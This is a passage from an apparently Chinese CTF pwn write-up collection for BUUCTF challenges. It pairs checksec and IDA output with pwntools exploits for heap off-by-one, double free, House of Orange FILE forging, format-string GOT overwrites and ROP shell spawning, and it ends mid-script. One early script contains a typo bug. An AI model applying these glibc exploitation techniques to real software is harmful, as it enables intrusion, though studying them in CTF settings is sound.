2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.log_level = "debug"
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p = process("./heapcreator")
p = remote("node3.buuoj.cn",29082)

def add(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)

def edit(idx,content):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",content)

def show(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

def delete(idx):
p.sendlineaftr(":","4")
p.sendline(":",str(idx))

if __name__ == '__main__':
add(0x18,'aaaa')
add(0x18,'aaaa')
#gdb.attach(p)
edit(0,'/bin/sh\x00'+'a'*0x10+'\x41') #<-off by one
#gdb.attach(p)
delete(1)
#gdb.attach(p)
add(0x30,p64(0)*4+p64(0x30)+p64(elf.got["free"]))
#gdb.attach(p)
show(1)

leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
base=leak-libc.sym["free"]
sys_addr = base+libc.sym["system"]

log.success("leak addr=>0x%x",leak)
log.success("libc base=>0x%x",base)
log.success("system addr=>0x%x",sys_addr)

edit(1,p64(sys_addr))
delete(0)
p.interactive()

hitcontraining_secret_garden

Double_Free

  • 1.checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA

原来的菜单有很多无用的函有用的就两个

1
2
3
4
5
def create(lenght,name,color):
p.sendlineafter(":",'1')
p.sendlineafter(":",str(lenght))
p.sendlineafter(":",name)
p.sendlineafter(":",color)
1
2
3
def delete(idx):
p.sendlineafter(":",'3')
p.sendlineafter(":",str(idx))

back_door

1
2
3
4
int magic()
{
return system("/bin/sh");
}
  • 3.EXP

原版EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = "training.pwnable.tw"
port = 11012

#r = remote(host,port)
r = process("./secretgarden")

def raiseflower(length,name,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)

def visit():
r.recvuntil(":")
r.sendline("2")

def remove(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

def clean():
r.recvuntil(":")
r.sendline("4")

magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")

r.interactive()

houseoforange_hitcon_2016

checksec

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开

IDA

1
2
3
puts(" 1. Build the house                  ");
puts(" 2. See the house ");
puts(" 3. Upgrade the house ");

没有 free 相关函数

build

1
2
3
4
5
if ( unk_203070 > 3u )
{
puts("Too many house");
exit(1);
}

最多只能有3个橘子

1
2
3
4
5
6
7
8
9
10
11
v3 = malloc(0x10uLL);                         // 存储house大小
printf("Length of name :");
size = made_choice();
if ( size > 0x1000 )
size = 0x1000;
v3[1] = malloc(size);
if ( !v3[1] )
{
puts("Malloc error !!!");
exit(1);
}

最多可以申请 0x1000大小的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf("Color of Orange:");
size_4 = made_choice();
if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7) )
{
puts("No such color");
exit(1);
}
if ( size_4 == 0xDDAA )
v4[1] = 0xDDAA;
else
v4[1] = size_4 + 30;
*(_QWORD *)v3 = v4;
house_idx = v3;
++unk_203070;
return puts("Finish");
}

发现 color 可以变为(1<x<=7)|| x=0xDDAA,这里可能是突破口

upgrade

1
2
if ( unk_203074 > 2u )
return puts("You can't upgrade more");

只能使用两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
printf("Length of name :");
v2 = made_choice();
if ( v2 > 0x1000 )
v2 = 0x1000;
printf("Name:");
safe_read((void *)house_name[1], v2);
printf("Price of Orange: ", v2);
v1 = (_DWORD *)*house_name;
*v1 = made_choice();
colorful();
printf("Color of Orange: ");
v3 = made_choice();
if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*(_DWORD *)(*house_name + 4LL) = 0xDDAA;
else
*(_DWORD *)(*house_name + 4LL) = v3 + 30;
++unk_203074;
return puts("Finish");

同样可以申请 0x1000大小的chunk之类的操作,可以堆溢出

思路

1.修改top_chunk的size

2.触发sysmalloc中的_int_free

3.泄露libc和heap的地址

4.触发异常

gdb

0x1 修改top_chunk的size

申请一个house,结构为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#code
add(0x30,'a'*8)
#gdb
gef➤ x/32gx 0x556593871000
0x556593871000: 0x0000000000000000 0x0000000000000021
0x556593871010: 0x0000556593871070 0x0000556593871030
0x556593871020: 0x0000000000000000 0x0000000000000041
0x556593871030: 0x0000000a61616161 0x0000000000000000
0x556593871040: 0x0000000000000000 0x0000000000000000
0x556593871050: 0x0000000000000000 0x0000000000000000
0x556593871060: 0x0000000000000000 0x0000000000000021
0x556593871070: 0x000000210000000a 0x0000000000000000
0x556593871080: 0x0000000000000000 0x0000000000020f81
。。。。。。。。 。。。。。。。。。。。 。。。。。。。。。。

覆盖掉 top chunk size域的payload为

payload = 'a'*0x30+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xf81)

这样就将 top_chunk->szie = 0x1fc0

1
2
3
4
5
6
7
8
9
0x56222cc84000:	0x0000000000000000	0x0000000000000021
0x56222cc84010: 0x000056222cc84070 0x000056222cc84030
0x56222cc84020: 0x0000000000000000 0x0000000000000041
0x56222cc84030: 0x6161616161616161 0x6161616161616161
.............. .................. ..................
0x56222cc84060: 0x0000000000000000 0x0000000000000021
0x56222cc84070: 0x0000002100000006 0x6161616161616161
0x56222cc84080: 0x0000000000000000 0x0000000000000f81
0x56222cc84090: 0x0000000000000000 0x0000000000000000

修改成功

0x2 触发sysmalloc中的_int_free

成功修改 top chunk,下一步只要我们申请一块 topchunk 大小不满足的chunk即可,由之前的分析可知我们最大可以申请 0x1000 的空间,那么

add(0x1000,'b'*8)

1
2
3
4
5
6
7
8
Chunk(addr=0x564081bf1010, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1030, size=0x40, flags=PREV_INUSE)
Chunk(addr=0x564081bf1070, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1090, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf10b0, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1ff0, size=0x10, flags=)
Chunk(addr=0x564081bf2000, size=0x10, flags=PREV_INUSE)

top_chunk消失了

1
2
3
[+] unsorted_bins[0]: fw=0x564081bf10c0, bk=0x564081bf10c0
→ Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.

成功加入 unsroted bins ,相当于 free 掉了top chunk

0x3 泄露libc和heap的地址

下从 unsorted bins 中取出一点下来用

因为原来有输出的功能,那么我们使用它输出刚才的那个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#code:
add(0x400,'c'*8)
see()
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("leak add => 0x%x",leak)
gdb.attach(p)
#输出
[+] leak add => 0x7f5cf839a10a
#gdb
0x5584c45e30e0 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0x6363636363636363,
bk = 0x7f5cf839a10a <main_arena+1514>,
fd_nextsize = 0x5584c45e30e0,
bk_nextsize = 0x5584c45e30e0
}
vmmap
0x5584c45e3000 0x5584c4626000 rw-p 43000 0 [heap]
0x7f5cf7fd5000 0x7f5cf8195000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8195000 0x7f5cf8395000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8395000 0x7f5cf8399000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8399000 0x7f5cf839b000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so

如果知道是知道libc2.23的话

1
2
>>> hex(0x7f5cf839a10a-0x7f5cf7fd5000-1514)
'0x3c4b20'

不知道的话直接加减

1
2
>>> hex(0x7f5cf839a10a-0x7f5cf7fd5000)
'0x3c510a'

同理可知 heap_base

开始泄露,但是要泄露什么?这里泄露的东西就决定了我们攻击的方式

这道题保护全开,之前的方法好像不太行,想起之前的文章FILE结构

那我们可以伪造出一个file,通过修改 vtable 指针来调用 system那么就需要

1
2
3
4
5
libc_base = leak-0x3c510a
system_addr = libc_base+libc.sym["system"]
binsh = libc_base+libc.search("/bin/sh\x00").next()
IO_list_all = libc_base+libc.sym["_IO_list_all"]
IO_str_jumps = libc.symbols["_IO_file_jumps"]+0xc0+libc_base

0x4 开始构造 fake file

ptr_vtable指向伪造的vtable处,vtable[3]为IO_overflow函数地址,将vtable[3]伪造为system地址,

如果再进入build_house函数,进行malloc(0x10),由于0x10<=2*SIZE_SZ,就会触发malloc_printerr,会遍历IO_llist_all,通过chain找到最终伪造的在old top chunk处的_IO_FILE,然后找到vtable,最终调用 IO_overflow函数

调用IO_overflow时会传入_IO_FILE结构指针作为参数,将old top chunk处伪造的_IO_FILE的前几个字节修改为/bin/sh\x00 即最终调用为system(‘/bin/sh’)

2016 ctf-HITCON——houseoforange

FILE结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct _IO_FILE
{
int _flags; /* 高阶版本也叫作 _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
//read
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
//write
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;//通过这个域创造链表

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

偏移0x20处为IO_write_base,偏移0x28处为IO_write_ptr,偏移0xc8处为_mode,偏移0xd8处为ptr_vtable

绕过检测:

1._mode<=0

2._IO_write_base<IO_write_ptr

最终的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload = "a"*0x400
payload += p64(0)+p64(0x21)+'a'*0x10

fake_file = p64(0)+p64(0x60)

#利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58(即&unsorted_bin+0x10)
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0)+p64(1)
fake_file += p64(0)+p64(binsh)

fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
payload += p64(IO_str_jumps-0x8)
payload += p64(0)
payload += p64(system_addr) #jump2here
1
2
3
4
5
6
7
8
unsortedbin
all [corrupted]
FD: 0x55b6afcad510 ◂— 0x0
BK: 0x55b6afcad510 —▸ 0x7f0850d77510 ◂— 0x0
pwndbg> x/12gx 0x7f0850d77510
0x7f0850d77510: 0x0000000000000000 0x0000000000000000
0x7f0850d77520 <_IO_list_all>: 0x00007f0850d77540 0x0000000000000000
0x7f0850d77530: 0x0000000000000000 0x0000000000000000

已经迁移IO_list_all

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# -*- coding: utf-8 -*- 
from pwn import *
#context.log_level ="debug"
elf = ELF("./houseoforange_hitcon_2016")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so")
p = 0

def connect(ip,port,mode):
global p
if mode == 1:
p = process("./houseoforange_hitcon_2016")
else:
p = remote(ip,port)

def add(sz,name):
p.sendlineafter(": ","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",name)
p.sendlineafter(":","10")
p.sendlineafter(":","3")

def see():
p.sendlineafter(": ","2")

def edit(sz,text):
p.sendlineafter(": ","3")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
p.sendlineafter(":","3")

def pwn():
#------------House_of_orange------------
add(0x30,'a'*8)
payload = 'a'*0x30+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xf81)
edit(len(payload),payload)

add(0x1000,'b')
add(0x400,'c'*8)
see()
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("leak add => 0x%x",leak)

#------------Unsoted_bin leak------------
libc_base = leak-0x3c510a
system_addr = libc_base+libc.sym["system"]
binsh = libc_base+libc.search("/bin/sh\x00").next()
IO_list_all = libc_base+libc.sym["_IO_list_all"]
IO_str_jumps = libc.symbols["_IO_file_jumps"]+0xc0+libc_base

log.success("libc base => 0x%x",libc_base)
log.success("system addr => 0x%x",system_addr)
log.success("IO list all => 0x%x",IO_list_all)
log.success("IO str jump => 0x%x",IO_str_jumps)

#------------Fake FILE------------
payload = "a"*0x400
payload += p64(0)+p64(0x21)+'a'*0x10

fake_file = p64(0)+p64(0x60)

#利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58(即&unsorted_bin+0x10)
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0)+p64(1)
fake_file += p64(0)+p64(binsh)

fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
payload += p64(IO_str_jumps-0x8)
payload += p64(0)
payload += p64(system_addr) #jump2here
edit(0x800,payload)
p.recv()
p.sendline("1")
p.sendline("1")
p.interactive()

if __name__ == '__main__':
connect("node3.buuoj.cn",29891,1)
pwn()

inndy_echo

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-10Ch]
unsigned int v4; // [esp+10Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
do
{
fgets(&s, 0x100, stdin);
printf(&s);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");
exit(0);
}

字符串格式化漏洞,没有栈溢出,利用任意地址写把printf@got改为system@plt

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = "debug"
elf = ELF("./echo")
p = remote("node3.buuoj.cn","29921")

printf_got_addr = elf.got["printf"]
system_plt_addr = elf.plt["system"]

payload = fmtstr_payload(7,{printf_got_addr: system_plt_addr})
p.sendline(payload)
p.sendline("$0")

p.interactive()

inndy_rop

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

overflow

1
2
3
4
5
6
int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]

return gets(&v1);
}

函数复杂,有溢出,直接自动生成ropchain

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from struct import pack
context.log_level = "debug"
#q = process('./rop')
q = remote("node3.buuoj.cn","28171")
context.log_level = 'debug'

def payload():
p = 'a'*0xc + 'bbbb'
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p
shell = payload()
q.sendline(shell)
q.interactive()

jarvisoj_fm

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

利用字符串格式化漏洞改x4

3.EXP

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = "debug"
#p = remote("node3.buuoj.cn",26472)
p = process("./fm")
elf = ELF("./fm")
x_addr = 0x0804A02C
payload = p32(x_addr)+"%11$n"
p.sendline(payload)
p.interactive()

jarvisoj_guess

Socket原理讲解

下标越界导致盲注

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

is_flag_correct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex));
qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}", sizeof(flag));
bzero(given_flag, 0x32uLL);
for ( i = 0; i <= 0x31; ++i )
{
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
if ( value1 == -1 || value2 == -1 )
{
puts("bad input – one of the characters you supplied was not a valid hex character!");
exit(0);
}
given_flag[i] = value2 | 16 * value1;
}
diff = 0;
for ( i_0 = 0; i_0 <= 49; ++i_0 )
diff |= flag[i_0] ^ given_flag[i_0];
return diff == 0;

其中 flag 是之前 qmemcpy过后的,given_flag是通过 value_1value_2 的值计算来的,而这两个值是由我们输入的flag决定,如果控制 flag_hex[2 * i] 为负数,就可以flag结果修改为正确的flag结果,这样就可以通过后面的检测了

is_flag_correct -> stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
-00000000000001A0
-00000000000001A0 db ? ; undefined
-000000000000019F db ? ; undefined
-000000000000019E db ? ; undefined
-000000000000019D db ? ; undefined
-000000000000019C db ? ; undefined
-000000000000019B db ? ; undefined
-000000000000019A db ? ; undefined
-0000000000000199 db ? ; undefined
-0000000000000198 flag_hex dq ? ; offset
-0000000000000190 given_flag db 50 dup(?)
-000000000000015E db ? ; undefined
-000000000000015D db ? ; undefined
-000000000000015C db ? ; undefined
-000000000000015B db ? ; undefined
-000000000000015A db ? ; undefined
-0000000000000159 db ? ; undefined
-0000000000000158 db ? ; undefined
-0000000000000157 db ? ; undefined
-0000000000000156 db ? ; undefined
-0000000000000155 db ? ; undefined
-0000000000000154 db ? ; undefined
-0000000000000153 db ? ; undefined
-0000000000000152 db ? ; undefined
-0000000000000151 db ? ; undefined
-0000000000000150 flag db 50 dup(?)
-000000000000011E db ? ; undefined
-000000000000011D db ? ; undefined
-000000000000011C db ? ; undefined
-000000000000011B db ? ; undefined
-000000000000011A db ? ; undefined
-0000000000000119 db ? ; undefined
-0000000000000118 db ? ; undefined
-0000000000000117 db ? ; undefined
-0000000000000116 db ? ; undefined
-0000000000000115 db ? ; undefined
-0000000000000114 db ? ; undefined
-0000000000000113 db ? ; undefined
-0000000000000112 db ? ; undefined
-0000000000000111 db ? ; undefined
-0000000000000110 bin_by_hex db 256 dup(?)
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E value2 db ?
-000000000000000D value1 db ?
-000000000000000C i_0 dd ?
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 diff db ?
-0000000000000004 i dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

char的范围一般是0~255,这里有整数溢出,$190+|-66|=256$,这种都行

1
2
3
4
payload = ''
for i in range(50):
payload += '0'
payload += p8(0x100-0x40 + i)

这样的payload就可以通过检测了,然后逐字节爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sh = remote('node3.buuoj.cn',26493)
flag = ''
for i in range(1,51):
print "guess the index {}'s char".format(i)
for c in range(32,128):
pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
sh.sendlineafter('guess> ',pay)
ans = sh.recvuntil('\n')
if 'Yaaaay!' in ans:
flag += chr(c)
break
print 'flag=',flag

sh.close()

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

#bypass
payload = ''
for i in range(50):
payload += '0'
payload += p8(0x100-0x40 + i)

#exploit
sh = remote('node3.buuoj.cn',26493)
flag = ''
for i in range(1,51):
print "guess the index {}'s char".format(i)
for c in range(32,128):
pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
sh.sendlineafter('guess> ',pay)
ans = sh.recvuntil('\n')
if 'Yaaaay!' in ans:
flag += chr(c)
break
print 'flag>',flag
sh.close()

jarvisoj_typo

1.checksec

Arch:     arm-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8000)

发现是arm架构的pwn

jarvisoj_level0

环境:Ubuntu16

1.checksec

1
2
3
4
5
6
[*] '/home/o
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL, "Hello, World\n");
}

vulnerable_function

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

简单溢出,且含有system binsh

3.EXP

1
2
3
4
5
6
7
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28704)
binsh = 0x040059A
payload = 'a'*0x88 + p64(binsh)
p.sendlineafter("\n",payload)
p.interactive()

jarvisoj_level2

环境:Ubuntu:16

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

vulnerable_function

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

有system和binsh

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26265)
#p= process("./level2")

sys_addr = 0x0804845C
binsh = 0x0804A024

payload = 'a'*(0x88+4)
payload += p32(sys_addr) + p32(binsh)

p.sendlineafter(":",payload)
p.interactive()

system只能选取已经执行过的system

jarvisoj_level3

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

栈溢出,需要找到libc

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26281)

elf = ELF("./level3")

libc_start = elf.sym["__libc_start_main"]
libc_start_got = elf.got["__libc_start_main"]

write_plt = elf.plt["write"]
write_got = elf.got["write"]

start_addr = 0x08048350


p1 = 'a'*0x88+'aaaa'
p1 += p32(write_plt)+p32(start_addr)
p1 += p32(1)+p32(write_got)+p32(4)

p.sendlineafter(":\n",p1)
write_real = u32(p.recv(4))
libc = LibcSearcher("write",write_real)
libc_base = write_real - libc.dump("write")
print "libc_base=>"+hex(libc_base)

sys_addr = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")

p1 = 'a'*(0x88+4)
p1 += p32(sys_addr)+p32(0)+p32(binsh)

p.sendlineafter(":\n",p1)
p.interactive()

jarvisoj_level3_x64

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return write(1, "Hello, World!\n", 0xEuLL);
}

vulnerable_function

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}

read 溢出+libc_leak

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",27722)
elf = ELF("./level3_x64")

read_got = elf.got['read']
write_plt = elf.plt['write']
vuln_addr = elf.sym["vulnerable_function"]
pop_rdi_ret = 0x04006b3
pop_rsi_r15_ret = 0x04006b1
pop_rbp_ret = 0x0400550
'''
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
'''

payload = 'a'*(0x80+8)
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)
payload += p64(write_plt)+p64(vuln_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
read_real = u64(p.recv(8))
libc = LibcSearcher("read",read_real)

libc_base = read_real - libc.dump("read")
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")

log.info("libc base==>%s",hex(libc_base))
log.info("system addr==>%s",hex(sys_addr))
log.info("/bin/sh addr==>%s",hex(binsh))

payload = 'a'*(0x80+8)
